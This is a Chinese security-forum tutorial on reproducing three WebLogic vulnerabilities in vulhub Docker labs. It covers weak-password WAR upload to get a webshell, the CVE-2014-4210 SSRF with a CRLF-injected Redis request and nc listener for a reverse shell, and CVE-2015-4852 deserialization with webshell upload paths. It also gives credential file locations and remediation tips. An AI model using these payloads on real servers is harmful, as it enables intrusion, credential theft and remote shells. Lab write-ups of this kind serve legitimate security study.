Weblogic 常见漏洞环境的搭建及其利用

浮萍 / 2017-06-16 05:58:00 / 浏览数 8290 安全技术 漏洞分析 顶(0) 踩(0)

0x00 WebLogic 介绍及常见漏洞

WebLogic是美国Oracle公司出品的一个Application
Server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic常用端口7001/7002，常见漏洞有弱口令导致上传任意war包、SSRF漏洞和反序列化漏洞。本文将利用phith0n提供的漏洞利用环境进行验证(在此向P牛致敬，感

0x01 WebLogic 弱口令导致上传并部署war包获取WEBSHELL

通过WebLogic弱口令登录后，上传war包，来获取WEBSHELL。
下载项目后进入到/weblogic/weak_password目录，运行命令sudo docker-compose
build进行编译（请参照https://github.com/phith0n/vulhub/blob/master/README.md 进行docker的安装）。
编译完成后进行启动
使用如下命令：

```
fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker-compose up -d #■■
fuping@ubuntu:~/Git/vulhub/weblogic/weak_password$ sudo docker ps #■■■■■docker
```

Ubuntu的ip为192.168.232.137，WebLogic的访问地址为：http://192.168.232.137:7001

访问 http://192.168.232.137:7001/console 会跳转到管理员登录页面http://192.168.232.137:7001/console/login/LoginForm.jsp

这里用户名密码分别为：weblogic/Oracle@123
上传war过程如下图所示

总结起来就是：■■■-■■-■■-■■■■-■■■■■■■■■■■。然后访问项目名称即可。

>
如果不存在弱口令，可以根据其他漏洞获取SerializedSystemIni.dat和config.xml，然后解密即可。具体案例可以参考https://github.com/phith0n/vulhub/blob/master/
，这里采用了任意文件读取漏洞，获取了SerializedSystemIni.dat和config.xml文件内容，然后解密。

WebLogic加密解密方式

WebLogic 11gR1后采用了AES的加密方式，默认的管理密码文件存放于：
■■■■/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

例如靶机中的密码文件位于：
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

内容为：

```
username={AES}xdwPe62ds+jcPCQwwLn/VR3fI0e9ZGkFz96ZBqmvRpY=
password={AES}dv/eNBsyg5GcDUbAKaQRheDZhzVk9yiTYVpXlGt9wEU=
```

加密key保存在SerializedSystemIni.dat文件中。默认位置：
■■■■/user_projects/domains/base_domain/security/SerializedSystemIni.dat

靶机中的位于：
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

采用这两个文件就可以进行解密了。

WebLogic 11gR1之前的版本采用的DES加密方式。
■■■■/samples/domains/wl_server/security/boot.properties
内容格式：

```
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==
```

采用上面的解密工具即可解密。

0x02 WebLogic SSRF漏洞

漏洞编号：CVE-2014-4210
漏洞影响：
版本10.0.2,10.3.6

Oracle WebLogic Web
Server既可以被外部主机访问，同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp，我们可以利用它进行攻击，未经授权通过weblogic server连接任意主机的任意TCP 端口，可以能冗长的响应来推断在此端口上是否有服务在监听此端口。
进入到/weblogic/ssrf目录，运行命令sudo docker-compose build进行编译。

> 编译时将Dockerfile文件中的第六行&& yum update \修改为&& yum update -y \，不然会出现错误ERROR: Service 'redis' failed to build: The command '/bin/sh -c set -ex && yum update && yum install -y gcc-c++ tcl wget' returned a non-zero code: 1。并且无法编译。（感谢P牛的解答）

编译完成后进行启动
使用如下命令：

```
fuping@ubuntu:~/Git/vulhub/weblogic/ssrf$ sudo docker-compose up -d #■■
fuping@ubuntu:~/Git/vulhub/weblogic/ssrf$ sudo docker ps #■■■■■docker
```

利用脚本扫描内网开放端口的主机。

根据https://github.com/phith0n/vulhub/blob/master/weblogic/ssrf/README.md 利用Redis反弹shell
在Ubuntu上执行命令nc -l -p 1234
发送请求包

```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20
Host: 192.168.232.137:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquirya
Connection: close
Upgrade-Insecure-Requests: 1
```

过一会查看Ubuntu可以看到一个shell

修复建议：
1.如果业务不需要UDDI功能，就关闭这个功能。可以删除uddiexporer文件夹，可以可在/weblogicPath/server/lib/uddiexplorer.war解压后，注释掉上面的jsp再打包。
2.安装oracle的更新包。

0x03 WebLogic 反序列化漏洞

漏洞编号：CVE-2015-4852
漏洞影响：
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0版本中，WLS Security组件允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量，其中包含精心构造的序列化Java对象利用此漏洞。此漏洞影响到WLS Security Handler的文件oracle_common/modules/com.bea.core.apache.commons.collections.jar内一个未知的函数。

这里还以SSRF的环境为例。
使用WebLogic反序列化工具进行验证（作者：rebeyond)。

一般web项目位于/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/中

发现没有_WL_user目录，所以把shell上传到自带的项目中。

通过执行命令ls /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/
发现有三个目录，分别为bea_wls9_async_response、bea_wls_internal和uddiexplorer。
将shell文件上传到任意一个目录下的war文件即可。

上传路径/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/

上传路径/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw/war/

也可以使用weget下载。

使用weak_password时，上传路径为

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/1.txt

> 找WEB绝对路径的另一种方式，Linux下使用命令find -name *.jsp来查找，例如已知hello项目里面有个file.jsp，则查找的命令为find -name file.jsp。对于Windows下，使用for /r c:\ %i in (file*.jsp) do @echo

%i，也可以通过查看config/config.xml文件内容来确定web项目的绝对路径。

linux下查找文件路径

Windows下查找路径

修复建议：
1.过滤T3协议
2.安装补丁

0x04 总结

主要采用了phith0n提供的WebLogic利用环境进行对WebLogic漏洞的验证。包括有WebLogic弱口令获取WEBSHELL、SSRF漏洞利用和WebLogic反序列化漏洞的利用等。
1.对于WebLogic弱口令，如何去上传WEBSHELL
2.对于SSRF漏洞，如何探测内网存活的主机以及开放的端口，并如何利用这些端口。
3.对于反序列化漏洞，如何快速的找到WEB路径以及对应的物理路径。

0x05 参考

[1]https://github.com/phith0n/vulhub/tree/master/weblogic
[2]http://blog.csdn.net/chs007chs/article/details/52514888

上一篇：快捷方式漏洞利用 下一篇：MS17-010漏洞检测与内网穿透...
1. 1 条回复

 whynot 2017-07-25 08:44:19

很不错，谢谢分享

0 回复Ta
